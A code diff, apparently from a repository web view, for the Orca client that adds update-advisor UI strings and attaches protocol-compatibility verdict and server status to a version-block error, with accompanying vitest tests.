|
||||
|
||||
@@ -9224,6 +9224,15 @@
|
||||
},
|
||||
"MobileRelayBetaNotice": {
|
||||
"notice": "Orca Relay is in beta."
|
||||
},
|
||||
"RuntimeUpdateAdvisor": {
|
||||
"checkForUpdates": "Check for updates",
|
||||
"downloadOrca": "Download the latest Orca",
|
||||
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
|
||||
"serverVersion": "Server version {{value0}}.",
|
||||
"latestVersion": "Latest version {{value0}}.",
|
||||
"checkAgain": "Check again",
|
||||
"stillOutOfDate": "Still out of date. Update the server, then check again."
|
||||
}
|
||||
},
|
||||
"right": {
|
||||
|
||||
@@ -9224,6 +9224,15 @@
|
||||
},
|
||||
"MobileRelayBetaNotice": {
|
||||
"notice": "Orca Relay is in beta."
|
||||
},
|
||||
"RuntimeUpdateAdvisor": {
|
||||
"checkForUpdates": "Check for updates",
|
||||
"downloadOrca": "Download the latest Orca",
|
||||
"protocolLine": "Server protocol {{value0}}, this client requires {{value1}}.",
|
||||
"serverVersion": "Server version {{value0}}.",
|
||||
"latestVersion": "Latest version {{value0}}.",
|
||||
"checkAgain": "Check again",
|
||||
"stillOutOfDate": "Still out of date. Update the server, then check again."
|
||||
}
|
||||
},
|
||||
"right": {
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
assertRuntimeStatusCompatible,
|
||||
getRuntimeCompatBlockDetails,
|
||||
isRuntimeCompatBlockError,
|
||||
RUNTIME_COMPAT_BLOCK_CODE
|
||||
} from './runtime-protocol-compat'
|
||||
import { describeRuntimeCompatBlock } from '../../../shared/protocol-compat'
|
||||
import {
|
||||
MIN_COMPATIBLE_RUNTIME_SERVER_VERSION,
|
||||
RUNTIME_PROTOCOL_VERSION
|
||||
} from '../../../shared/protocol-version'
|
||||
import type { RuntimeStatus } from '../../../shared/runtime-types'
|
||||
|
||||
function blockedStatus(overrides: Partial<RuntimeStatus> = {}): RuntimeStatus {
|
||||
return {
|
||||
runtimeId: 'remote-runtime',
|
||||
rendererGraphEpoch: 0,
|
||||
graphStatus: 'ready',
|
||||
authoritativeWindowId: null,
|
||||
liveTabCount: 0,
|
||||
liveLeafCount: 0,
|
||||
// Old server: below the client's minimum → server-too-old block.
|
||||
runtimeProtocolVersion: MIN_COMPATIBLE_RUNTIME_SERVER_VERSION - 1,
|
||||
hostPlatform: 'linux',
|
||||
...overrides
|
||||
}
|
||||
}
|
||||
|
||||
describe('assertRuntimeStatusCompatible block error threading', () => {
|
||||
it('does not throw for a compatible status', () => {
|
||||
expect(() =>
|
||||
assertRuntimeStatusCompatible(
|
||||
blockedStatus({ runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION })
|
||||
)
|
||||
).not.toThrow()
|
||||
})
|
||||
|
||||
it('throws a coded Error whose message stays the descriptive block text', () => {
|
||||
const status = blockedStatus()
|
||||
let thrown: unknown
|
||||
try {
|
||||
assertRuntimeStatusCompatible(status)
|
||||
} catch (error) {
|
||||
thrown = error
|
||||
}
|
||||
expect(thrown).toBeInstanceOf(Error)
|
||||
expect(isRuntimeCompatBlockError(thrown)).toBe(true)
|
||||
expect((thrown as { code?: string }).code).toBe(RUNTIME_COMPAT_BLOCK_CODE)
|
||||
// The runtime-environment switch flow reads only `.message`; keep it intact.
|
||||
const details = getRuntimeCompatBlockDetails(thrown)
|
||||
expect(details).not.toBeNull()
|
||||
expect((thrown as Error).message).toBe(describeRuntimeCompatBlock(details!.verdict))
|
||||
})
|
||||
|
||||
it('carries the verdict and the full status on the block error', () => {
|
||||
const status = blockedStatus({ updateInfo: { installKind: 'linux-appimage' } })
|
||||
let thrown: unknown
|
||||
try {
|
||||
assertRuntimeStatusCompatible(status)
|
||||
} catch (error) {
|
||||
thrown = error
|
||||
}
|
||||
const details = getRuntimeCompatBlockDetails(thrown)
|
||||
expect(details).not.toBeNull()
|
||||
expect(details!.verdict).toMatchObject({ kind: 'blocked', reason: 'server-too-old' })
|
||||
// The exact status object is threaded so the advisor can read updateInfo/hostPlatform.
|
||||
expect(details!.status).toBe(status)
|
||||
expect(details!.status.updateInfo).toEqual({ installKind: 'linux-appimage' })
|
||||
})
|
||||
})
|
||||
|
||||
describe('getRuntimeCompatBlockDetails', () => {
|
||||
it('returns null for non-block errors and non-errors', () => {
|
||||
expect(getRuntimeCompatBlockDetails(null)).toBeNull()
|
||||
expect(getRuntimeCompatBlockDetails(new Error('transport failed'))).toBeNull()
|
||||
expect(getRuntimeCompatBlockDetails('runtime_compat_block')).toBeNull()
|
||||
})
|
||||
|
||||
it('returns null for a legacy block error lacking verdict/status', () => {
|
||||
const legacy = new Error('too old') as Error & { code?: string }
|
||||
legacy.code = RUNTIME_COMPAT_BLOCK_CODE
|
||||
expect(isRuntimeCompatBlockError(legacy)).toBe(true)
|
||||
expect(getRuntimeCompatBlockDetails(legacy)).toBeNull()
|
||||
})
|
||||
})
|
||||
@@ -1,4 +1,8 @@
|
||||
import { describeRuntimeCompatBlock, evaluateRuntimeCompat } from '../../../shared/protocol-compat'
|
||||
import {
|
||||
describeRuntimeCompatBlock,
|
||||
evaluateRuntimeCompat,
|
||||
type RuntimeCompatVerdict
|
||||
} from '../../../shared/protocol-compat'
|
||||
import {
|
||||
MIN_COMPATIBLE_RUNTIME_SERVER_VERSION,
|
||||
RUNTIME_PROTOCOL_VERSION
|
||||
@@ -10,12 +14,31 @@ import type { RuntimeStatus } from '../../../shared/runtime-types'
|
||||
* the runtime-environment switch flow, reads only `.message` and is unaffected. */
|
||||
export const RUNTIME_COMPAT_BLOCK_CODE = 'runtime_compat_block'
|
||||
|
||||
/** The compat verdict and the blocked server's status, carried on the thrown
|
||||
* block error so the advisor can render detection/versions without re-probing.
|
||||
* The gate stays a plain `Error` with `.code` + `.message`; these are extra
|
||||
* own-properties consumers read only through `getRuntimeCompatBlockDetails`. */
|
||||
export type RuntimeCompatBlockDetails = {
|
||||
verdict: RuntimeCompatVerdict
|
||||
status: RuntimeStatus
|
||||
}
|
||||
|
||||
/** True when `error` is the protocol-compat block thrown by
|
||||
* `assertRuntimeStatusCompatible` (vs a transient transport/timeout error). */
|
||||
export function isRuntimeCompatBlockError(error: unknown): boolean {
|
||||
return error instanceof Error && (error as { code?: string }).code === RUNTIME_COMPAT_BLOCK_CODE
|
||||
}
|
||||
|
||||
/** Reads the verdict + status attached to a compat-block error. Returns null for
|
||||
* any other error, or a block error thrown before this contract existed. */
|
||||
export function getRuntimeCompatBlockDetails(error: unknown): RuntimeCompatBlockDetails | null {
|
||||
if (!isRuntimeCompatBlockError(error)) {
|
||||
return null
|
||||
}
|
||||
const { verdict, status } = error as { verdict?: RuntimeCompatVerdict; status?: RuntimeStatus }
|
||||
return verdict && status ? { verdict, status } : null
|
||||
}
|
||||
|
||||
export function assertRuntimeStatusCompatible(status: RuntimeStatus): void {
|
||||
const verdict = evaluateRuntimeCompat({
|
||||
clientProtocolVersion: RUNTIME_PROTOCOL_VERSION,
|
||||
@@ -26,9 +49,13 @@ export function assertRuntimeStatusCompatible(status: RuntimeStatus): void {
|
||||
})
|
||||
if (verdict.kind === 'blocked') {
|
||||
// Preserve the descriptive message; add a `.code` marker so callers can
|
||||
// distinguish a version block from a transport failure.
|
||||
const error = new Error(describeRuntimeCompatBlock(verdict))
|
||||
;(error as { code?: string }).code = RUNTIME_COMPAT_BLOCK_CODE
|
||||
// distinguish a version block from a transport failure, plus verdict/status
|
||||
// so the advisor can render guidance while the environment stays blocked.
|
||||
const error = new Error(describeRuntimeCompatBlock(verdict)) as Error &
|
||||
Partial<RuntimeCompatBlockDetails> & { code?: string }
|
||||
error.code = RUNTIME_COMPAT_BLOCK_CODE
|
||||
error.verdict = verdict
|
||||
error.status = status
|
||||
throw error
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user